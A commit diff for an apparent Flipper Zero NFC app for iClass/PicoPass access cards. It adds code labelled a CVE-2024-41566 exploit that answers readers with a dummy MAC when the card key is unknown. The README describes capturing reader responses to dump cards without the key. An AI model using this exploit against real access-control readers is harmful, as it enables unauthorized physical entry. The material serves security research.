Просмотр исходного кода

Merge picopass from https://gitlab.com/bettse/picopass

Willy-JL 1 год назад
Родитель
Сommit
5f1159d960

+ 1 - 1
picopass/.catalog/README.md

@@ -34,7 +34,7 @@ There are some situations when the offline loclass may not find a key, such as:
 
 # NR-MAC Attack
 
-Due to the nature of how secure mode picopass works, it is possible to emulate some public fields from a card and capture the reader's response, which can be used to authenticate.  Two of the pieces involved in this are the `NR` and `MAC`.  This allows you to get a dump of the card, except for the key, even if you don't know the key.  For picopass in non-HID systems this can allow you to see what the data looks like.  For iClass SE the data (SIO) is encrypted, but a friend with a HID SAM can decrypt it.
+Due to the nature of how secure mode picopass works, it is possible to emulate some public fields from a card and capture the reader's response, which can be used to authenticate.  Two of the pieces involved in this are the 'NR' and 'MAC'.  This allows you to get a dump of the card, except for the key, even if you don't know the key.  For picopass in non-HID systems this can allow you to see what the data looks like.  For iClass SE the data (SIO) is encrypted, but a friend with a HID SAM can decrypt it.
 
 *These instructions are intended to be performed all at the same time.  If you use the card with the reader between Card Part 1 and Card Part 2, then Card Part 2 will fail.*
 

+ 2 - 0
picopass/.catalog/changelog.md

@@ -1,3 +1,5 @@
+## 1.17
+ - CVE-2024-41566: When keys are unknown emulate with a dummy MAC and ignore reader MACs
 ## 1.16
  - Acknowledgements page
  - Elite VB6 RNG keygen attack

+ 1 - 1
picopass/application.fam

@@ -14,7 +14,7 @@ App(
     ],
     stack_size=4 * 1024,
     fap_description="App to communicate with NFC tags using the PicoPass(iClass) format",
-    fap_version="1.16",
+    fap_version="1.17",
     fap_icon="125_10px.png",
     fap_category="NFC",
     fap_libs=["mbedtls"],

+ 1 - 17
picopass/picopass_device.c

@@ -20,17 +20,7 @@ const char unknown_block[] = "?? ?? ?? ?? ?? ?? ?? ??";
 
 PicopassDevice* picopass_device_alloc() {
     PicopassDevice* picopass_dev = malloc(sizeof(PicopassDevice));
-    picopass_dev->dev_data.auth = PicopassDeviceAuthMethodUnset;
-    picopass_dev->dev_data.pacs.legacy = false;
-    picopass_dev->dev_data.pacs.se_enabled = false;
-    picopass_dev->dev_data.pacs.sio = false;
-    picopass_dev->dev_data.pacs.biometrics = false;
-    memset(picopass_dev->dev_data.pacs.key, 0, sizeof(picopass_dev->dev_data.pacs.key));
-    picopass_dev->dev_data.pacs.elite_kdf = false;
-    picopass_dev->dev_data.pacs.pin_length = 0;
-    picopass_dev->dev_data.pacs.bitLength = 0;
-    memset(
-        picopass_dev->dev_data.pacs.credential, 0, sizeof(picopass_dev->dev_data.pacs.credential));
+    memset(picopass_dev, 0, sizeof(PicopassDevice));
     picopass_dev->storage = furi_record_open(RECORD_STORAGE);
     picopass_dev->dialogs = furi_record_open(RECORD_DIALOGS);
     picopass_dev->load_path = furi_string_alloc();
@@ -176,12 +166,6 @@ static bool picopass_device_save_file(
     FuriString* temp_str;
     temp_str = furi_string_alloc();
 
-    if(dev->format == PicopassDeviceSaveFormatPartial) {
-        // Clear key that may have been set when doing key tests for legacy
-        memset(card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data, 0, PICOPASS_BLOCK_LEN);
-        card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].valid = false;
-    }
-
     do {
         if(use_load_path && !furi_string_empty(dev->load_path)) {
             // Get directory name

+ 19 - 8
picopass/protocol/picopass_listener.c

@@ -375,20 +375,20 @@ PicopassListenerCommand
                         PICOPASS_FUSE_CRYPT10) != PICOPASS_FUSE_CRYPT0;
         if(!secured) break;
 
-        uint8_t rmac[4] = {};
-        uint8_t tmac[4] = {};
         const uint8_t* key = instance->data->card_data[instance->key_block_num].data;
-        bool no_key = !instance->data->card_data[instance->key_block_num].valid;
+        bool have_key = instance->data->card_data[instance->key_block_num].valid;
+        bool no_data = !instance->data->card_data[PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX].valid;
         const uint8_t* rx_data = bit_buffer_get_data(buf);
 
-        if(no_key) {
-            // We're emulating a partial dump of an iClass SE card and should capture the NR and MAC
+        if(no_data) {
+            // We're missing at least the first data block, save MACs for NR-MAC replay.
             command = picopass_listener_save_mac(instance, rx_data);
             break;
-        } else {
+        } else if(have_key) {
+            uint8_t rmac[4] = {};
+            uint8_t tmac[4] = {};
             loclass_opt_doBothMAC_2(instance->cipher_state, &rx_data[1], rmac, tmac, key);
 
-#ifndef PICOPASS_DEBUG_IGNORE_BAD_RMAC
             if(memcmp(&rx_data[5], rmac, PICOPASS_MAC_LEN)) {
                 // Bad MAC from reader, do not send a response.
                 FURI_LOG_I(TAG, "Got bad MAC from reader");
@@ -396,7 +396,6 @@ PicopassListenerCommand
                 picopass_listener_init_cipher_state(instance);
                 break;
             }
-#endif
 
             bit_buffer_copy_bytes(instance->tx_buffer, tmac, sizeof(tmac));
             NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer);
@@ -404,6 +403,18 @@ PicopassListenerCommand
                 FURI_LOG_D(TAG, "Failed tx update response: %d", error);
                 break;
             }
+        } else {
+            // CVE-2024-41566 Exploit: The dump has no key, ignore the reader mac
+            // and a dummy response to see if the reader accepts it anyway
+            bit_buffer_reset(instance->tx_buffer);
+            for(size_t j = 0; j < 4; j++) {
+                bit_buffer_append_byte(instance->tx_buffer, 0xff);
+            }
+            NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer);
+            if(error != NfcErrorNone) {
+                FURI_LOG_D(TAG, "Failed tx update response: %d", error);
+                break;
+            }
         }
 
         command = PicopassListenerCommandProcessed;

+ 5 - 11
picopass/protocol/picopass_poller.c

@@ -313,15 +313,6 @@ NfcCommand picopass_poller_nr_mac_auth(PicopassPoller* instance) {
             if(instance->mode == PicopassPollerModeRead) {
                 picopass_poller_prepare_read(instance);
                 instance->state = PicopassPollerStateReadBlock;
-                // Set to non-zero keys to allow emulation
-                memset(
-                    instance->data->card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data,
-                    0xff,
-                    PICOPASS_BLOCK_LEN);
-                memset(
-                    instance->data->card_data[PICOPASS_SECURE_KC_BLOCK_INDEX].data,
-                    0xff,
-                    PICOPASS_BLOCK_LEN);
             }
         }
 
@@ -431,9 +422,12 @@ NfcCommand picopass_poller_read_block_handler(PicopassPoller* instance) {
             break;
         }
 
-        if(instance->secured && instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX) {
-            // Skip over Kd block which is populated earlier (READ of Kd returns all FF's)
+        if(instance->secured && (instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX ||
+                                 instance->current_block == PICOPASS_SECURE_KC_BLOCK_INDEX)) {
+            // Kd and Kc blocks cannot be read (card always returns FF's)
+            // Key blocks we authed as would have been already set earlier
             instance->current_block++;
+            continue;
         }
 
         PicopassBlock block = {};